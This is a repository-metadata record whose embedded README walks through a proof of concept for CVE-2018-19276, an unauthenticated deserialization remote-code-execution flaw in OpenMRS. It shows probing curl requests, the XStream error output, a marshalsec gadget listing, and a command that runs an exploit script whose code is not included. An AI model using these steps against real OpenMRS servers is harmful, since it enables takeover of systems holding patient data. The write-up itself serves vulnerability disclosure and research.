{"id":18265893,"url":"https://github.com/mpgn/cve-2018-19276","last_synced_at":"2025-10-13T18:41:04.725Z","repository":{"id":76017601,"uuid":"175086551","full_name":"mpgn/CVE-2018-19276","owner":"mpgn","description":"CVE-2018-19276 - OpenMRS Insecure Object Deserialization RCE","archived":false,"fork":false,"pushed_at":"2019-03-11T21:35:31.000Z","size":7,"stargazers_count":16,"open_issues_count":0,"forks_count":6,"subscribers_count":3,"default_branch":"master","last_synced_at":"2025-04-04T21:40:20.640Z","etag":null,"topics":["openmrs","rce"],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/mpgn.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2019-03-11T21:28:55.000Z","updated_at":"2024-08-12T19:46:37.000Z","dependencies_parsed_at":null,"dependency_job_id":"e65751d3-56c1-4c0d-9c48-207e18e2fac1","html_url":"https://github.com/mpgn/CVE-2018-19276","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/mpgn/CVE-2018-19276","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2018-19276","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2018-19276/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2018-19276/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2018-19276/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mpgn","download_url":"https://codeload.github.com/mpgn/CVE-2018-19276/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2018-19276/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":279016595,"owners_count":26085852,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-13T02:00:06.723Z","response_time":61,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["openmrs","rce"],"created_at":"2024-11-05T11:20:31.705Z","updated_at":"2025-10-13T18:41:04.719Z","avatar_url":"https://github.com/mpgn.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# CVE-2018-19276 OpenMRS Insecure Object Deserialization RCE\n\nFrom https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607\n\n\u003e Insecure object deserialization allows Arbitrary Code Execution without needing to log in. IP restrictions on Webservices module do not prevent this attack.\n\n![image](https://user-images.githubusercontent.com/5891788/54159267-e6174a00-444c-11e9-9e8c-e00ed49be707.png)\n\n* all versions of OpenMRS Platform 2.1.x \u003c 2.1.4\n* all versions of OpenMRS Platform 2.0.x \u003c 2.0.8\n* all versions of OpenMRS Platform 1.12.x \u003c 1.12.1\n* all versions of OpenMRS Reference Application 2.8.x \u003c 2.8.1\n* all versions of OpenMRS Reference Application 2.7.x \u003c 2.7.2\n* all versions of OpenMRS Reference Application 2.6.x \u003c 2.6.2\n\nFound by Nicolas Serra from Security Associate at Bishop Fox.\n\n### Proof Of Concept\n\nLet's check how the REST webservices of OpenMRS works using the official [documentation](https://wiki.openmrs.org/display/docs/REST+Web+Services+API+For+Clients#RESTWebServicesAPIForClients-SampleRESTcalls):\n\n```\ncurl -u admin:test -i 'http://localhost:8080/openmrs/ws/rest/v1/concept'\n```\n\nLet's check the fix:\n* https://github.com/openmrs/openmrs-module-webservices.rest/pull/369\n* https://github.com/openmrs/openmrs-module-webservices.rest/pull/372\n\nWe can find this information:\n\n![image](https://user-images.githubusercontent.com/5891788/54126089-06bcb100-4407-11e9-85b9-1427bc0fc944.png)\nhttps://github.com/openmrs/openmrs-module-webservices.rest/pull/369#issuecomment-443513473\n\nThey basically filter the **Content-type** of POST request when it's XML, so maybe XXE or an Insecure Deserialization :+1: \n\nLet's check the documentation again:\n\n![image](https://user-images.githubusercontent.com/5891788/54125529-8d708e80-4405-11e9-9961-44ddca733402.png)\n\nWell, this is nice, what append if we send XML to the REST webservice ?\n\n```\n\u003e curl -i -s -k  -X $'POST' -H $'Host: 127.0.0.1:8888' -H $'Content-Type: text/xml'  $'http://127.0.0.1:8888/openmrs/ws/rest/v1/concept'\n\nHTTP/1.1 500 Internal Server Error\nServer: Apache-Coyote/1.1\nSet-Cookie: JSESSIONID=A896A8B1B0092400DBF74E2E8C365949; Path=/openmrs; HttpOnly\nContent-Type: application/json;charset=UTF-8\nContent-Length: 8980\nDate: Mon, 11 Mar 2019 12:58:30 GMT\nConnection: close\n\n{\"error\":{\"message\":\"[ : input contained no data]\",\"code\":\"com.thoughtworks.xstream.io.xml.XppReader:126\",\"detail\":\"com.thoughtworks.xstream.io.StreamException:  : input contained no data\\n\\tat com.thoughtworks.xstream.io.xml.XppReader.pullNextEvent(XppReader.java:126)\\n\\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readRealEvent(AbstractPullReader.java:148)\\n\\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readEvent(AbstractPullReader.java:141)\\n\\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.move(AbstractPullReader.java:118)\\n\\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.moveDown[...]\n```\nThe error give something very interesting : **xstream.XStreamMarshaller**\n\nLet's try to use the awesome tool [marshalsec](https://github.com/mbechler/marshalsec) to trigger an RCE using Java Deserialization.\n\nLet's check available gadget:\n\n```\n$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream -v \nNo gadget type specified, available are [SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin, CommonsConfiguration, LazySearchEnumeration, BindingEnumeration, ServiceLoader, ImageIO, CommonsBeanutils]\n```\nAt this point, I just use the github search on every gadget of **XStream** to find an and occurrence. Only the gadget **ImageIO** look promising:\n\n![image](https://user-images.githubusercontent.com/5891788/54129586-ded14b80-440e-11e9-854b-ca6c59cd5250.png)\n\nLet's try it:\n\n![image](https://user-images.githubusercontent.com/5891788/54157614-f9c0b180-4448-11e9-8f74-9798b47728f6.png)\n\nThat it ! \n\n### Exploit\n\n```\npython CVE-2018-19276.py\n```\n\n![image](https://user-images.githubusercontent.com/5891788/54159267-e6174a00-444c-11e9-9e8c-e00ed49be707.png)\n\n###  Ressource:\n* https://issues.openmrs.org/browse/RESTWS-742\n* https://www.bishopfox.com/news/2019/02/openmrs-insecure-object-deserialization/\n* https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607\n* https://wiki.openmrs.org/display/docs/REST+Web+Services+API+For+Clients#RESTWebServicesAPIForClients-SampleRESTcalls\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmpgn%2Fcve-2018-19276","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmpgn%2Fcve-2018-19276","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmpgn%2Fcve-2018-19276/lists"}